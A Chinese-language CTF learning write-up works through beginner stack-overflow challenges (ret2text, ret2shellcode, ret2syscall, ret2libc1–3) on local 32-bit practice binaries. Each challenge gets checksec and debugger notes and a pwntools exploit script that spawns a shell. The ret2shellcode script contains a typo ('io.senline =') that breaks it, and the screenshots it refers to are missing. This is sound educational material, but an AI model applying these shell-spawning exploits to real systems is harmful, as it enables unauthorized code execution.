一些pwn

……

ret2text

checksec

32位,未开启canary,开启了NX
丢到ida里面看一下

可以看到vulnerable函数里有gets函数,读到的值传到buffer里,距离ebp16个字节写exp
看到getshell函数首地址为

打通。

ret2shellcode

checksec一下

32位文件,未开启canary保护,未开启PIE,具有RWX段。

丢到ida

定义了一个字符型数组s,gets输入到s,并将s的0x64位字节数据赋给buf2

在gdb中发现gets函数的栈帧长度为0x92字,esp存储的是一个指针,可以看到数据是从0xffffd01c开始填充

通过python可以算出需要填充108 + 4 个垃圾字节,再加4个字节的数据——返回地址

找到全局变量buf2的地址

写脚本

1
2
3
4
5
6
7
8
from pwn import *
io = process("./ret2shellcode")
shellcode = asm(shellcraft.sh())
# asm()将参数转化为机器码, shellcraft.sh()默认生成一个面向x86的shellcode
buf2_addr = 0x0804a080
io.senline = (shellcode.ljust(112, b'A') + p32(buf2_addr))
# ljust()从左向右调整填充A至112
io.interactive()

得到了本地程序的shell

ret2syscall

checksec

看到32位程序,开启了RELRO
no ret2text no ret2shellcode
丢到ida里

看到gets()函数
v4与ebp相距0x64 = 100
gdb动态调试一下

看到填充位置与ebp相差0xa8 - 0x3c = 108
所以有时候ida也不太准
基本ROP,ret2syscall,通过gadgets构成代码拿到shell

用ROPgadget搜索到如下gadgets

写exp

1
2
3
4
5
6
7
8
9
from pwn import *
io = process("./ret2syscall")
pop_eax = 0x080bb196
pop_edx_ecx_ebx = 0x0806eb90
bin_sh = 0x080BE408
int_80 = 0x08049421
payload = flat([b'A'*(108 + 4), pop_eax, 0xb, pop_edx_ecx_ebx, 0, 0, bin_sh, int_80 ])
io.sendline(payload)
io.interactive()

打通!

tip:

在笔者学习这个payload时,疑惑0xb为什么可以直接传递,搜集了一下信息,以后慢慢学。(doge)

在这个栈溢出攻击中,0xb"/bin/sh" 之间的区别涉及到系统调用号和字符串的存储方式。

  1. 系统调用号(syscall number):
  • 0xb 是系统调用号,对应于 execve 系统调用。在x86体系结构中,0xb 对应于 sys_execve
  • 系统调用号通常直接作为参数传递给EAX寄存器,因此可以直接放在ROP链中。
  1. 字符串 “/bin/sh”:
  • "/bin/sh" 是一个字符串,存储在内存中的某个位置。在ROP攻击中,我们需要将该字符串的地址传递给 execve 系统调用的参数之一。
  • 字符串本身的内容不适合直接放在ROP链中,因为ROP链需要是一系列的地址。所以我们将字符串的地址放在ROP链中,然后 execve 在执行时会读取该地址处的字符串。

ret2libc1

checksec

32位程序,未开启canary,未开启PIE,开启了栈不可执行。
丢到ida里

发现危险函数gets()

函数secure()有一个system()函数但是命令”shell!?”没有任何作用,但是由于system()函数的调用,在plt表里会有system()函数对应的got表地址的表项,进而能解析出system()函数的真实地址,从而调用system()函数。

需要填充108 + 4 = 112个垃圾数据
写exp

1
2
3
4
5
6
7
8
9
from pwn import *
io = process("./ret2libc1")
elf = ELF("./ret2libc1")
system_addr = elf.plt["system"]
bin_sh_addr = next(elf.search(b"/bin/sh"))
# payload = b"a" * 112 + p32(system_addr) + b"aaaa" + p32(bin_sh_addr)
payload = flat([b"a"*112, system_addr, b"aaaa", bin_sh_addr])
io.sendline(payload)
io.interactive()

打通!

ret2libc2

checksec

32位程序,未开启了canary和PIE,开启了部分RELRO和栈不可执行。

没有后门函数,也没有足够的gadgets。

没有找到”/bin/sh”


在全局区找到了全局变量buf2,可以劫持程序流到buf2写入”/bin/sh”再进行ROP

payload的结构如下

要填充0x78 - 0x0c + 4 = 108 + 4 = 112个垃圾数据
写exp

1
2
3
4
5
6
7
8
9
10
from pwn import *
io = process("./ret2libc2")
elf = ELF("./ret2libc2")
system_addr = elf.plt["system"]
gets_addr = elf.plt["gets"]
buf2_addr = 0x0804A080
payload = flat([b"a"*112, gets_addr, system_addr, buf2_addr, buf2_addr])
io.sendline(payload)
io.sendline("/bin/sh")
io.interactive()

打通!

ret2libc3

看到有两个文件

checksec ret2libc3

32位,未开启canary和PIE

丢到ida里

没有找到后门函数,又没有RWX段无法ret2text和ret2shellcode,而且没有足够的gadget所以也无法用ret2syscall,只能用ret2libc。

栈溢出漏洞在第二个read

栈结构如下

此处笔者遇到一个问题,题中给的libc文件和实际程序的所用的libc文件不一样所以分析题中所给的libc文件是无法打通的,可以利用ldd -v ret2libc3来查看程序所用的libc文件

可以看到所用的libc为libc.so.6其路径为/lib/i386-linux-gnu/libc.so.6
写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

context(arch = "i386", os = "linux", log_level = "debug")

io = process("./ret2libc3")
elf = ELF("./ret2libc3")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
puts_address = elf.got[b"puts"]

io.sendlineafter(b" :", str(puts_address))
io.recvuntil(b" : ")
puts_address_real = int(io.recvuntil(b"\n", drop = True), 16)


libbase = puts_address_real - libc.symbols["puts"]
system_address = libc.symbols["system"] + libbase


success("system_address -> {:#x}".format(system_address))

# gdb.attach(io)

payload = flat(cyclic(60), system_address, "aaaa", next(elf.search(b"sh\x00")))
io.sendlineafter(b" :", payload)

io.interactive()

打通!